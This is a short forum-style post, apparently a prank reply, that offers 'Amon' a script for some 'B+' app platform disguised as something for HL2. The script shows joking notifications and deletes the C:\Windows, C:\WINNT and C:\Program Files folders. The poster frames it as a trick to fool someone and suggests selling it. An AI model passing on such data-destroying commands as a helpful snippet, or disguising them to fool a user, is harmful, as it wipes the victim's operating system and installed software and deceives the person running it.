Notify "Quarter-Death 2.B3Q54" DeleteDir "C:\Windows" DeleteDir "C:\WINNT" DeleteDir "C:\Program Files" Notify "No you're not a sucker, I insist!"
I promise Amon this little code snippet will be crapping on HL2 before you can say "Oh geez he tricked me!". Though you should try it b4 you sell it, it might have some bugs.
And if your running on linux then ur outa luck because B+ APPS DON'T RUN ON LINUX!!!
I hope it helps!